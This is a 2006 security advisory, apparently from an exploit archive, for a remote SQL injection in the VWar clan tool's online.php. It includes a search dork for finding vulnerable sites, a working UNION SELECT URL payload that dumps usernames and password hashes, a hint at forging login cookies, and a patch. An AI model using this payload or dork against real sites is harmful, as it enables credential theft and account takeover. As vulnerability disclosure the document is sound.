VWar <= 1.50 R14 (online.php) Remote SQL Injection Vulnerability

2006-08-10 00:00:00

.:[ insecurity research team ]:.
.__..____.:.______.____.:.____ .
.:. | |/ \:/ ___// __ \:/ _\.:.
: | | | \\____\\ ___/\ /__ :. .
..: |__|___| /____ >\___ >\___ >.:
.:.. .. .\/ .:\/:. .\/. .:\/:
. ...:. .advisory. .:...
:..................: 1o.o8.2oo6 ..


Affected Application: VWar <= v1.50 R14


. . :[ contact ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .


Discoverd by: brOmstar

Team: Insecurity Research Team

URL: http://www.insecurityresearch.org

E-Mail: [email protected]



. . :[ insecure application details ]: . . . . . . . . . . . . . . . . .


Typ: Remote [x] Local [ ]

Remote File Inclusion [ ] SQL Injection [x]

Level: Low [ ] Middle [ ] High [x]

Application: VWar

Version: <= v1.50 R14

Vulnerable File: extra/online.php

Vulnerable Variable: n

URL: http://www.vwar.de

Description: Virtual War is a tool for gaming clans.

Dork: intext:"Powered by: Virtual War v1.5.0"



. . :[ code snippet ]: . . . . . . . . . . . . . . . . . . . . . . . . .


line 63: $query = $vwardb->query("

line 64: SELECT memberid, name, lastactivity

line 65: FROM vwar".$n."_member WHERE lastactivity > ".(time() -

$onlinetime * 60)."

line 66: ");



. . :[ exploit ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .


example: if you want a list of userid/username/password's try this:


http://www.vwar.de/demo/extra/online.php?n=_member%20WHERE%20memberid=-999%20UNION%20SELECT%200,CONCAT(memberid,0x3A,name,0x3A,password),2%20FROM%20vwar_member%20%20/*


encrypt the md5-password again with md5 and throw it in a cookie... :-)



. . :[ how to fix ]: . . . . . . . . . . . . . . . . . . . . . . . . . .


o1.) open extra/online.php

o2.) take a look at the following lines:

41: if( !defined ("VWAR_COMMON_INCLUDED") )

42: {

43: $vwar_root = $vwar_xroot;

44: require_once ( $vwar_root . "includes/functions_common.php" );

45: }

o3.) add between line 44 and 45 this:

require_once ( $vwar_root . "includes/_config.inc.php" );

o4.) done!



. . :[ greets ]: . . . . . . . . . . . . . . . . . . . . . . . . . . . .


buzzdee, camino and my lovely, sexy girlfriend!

#

Fixes

No fixes

In order to submit a new fix you need to be registered.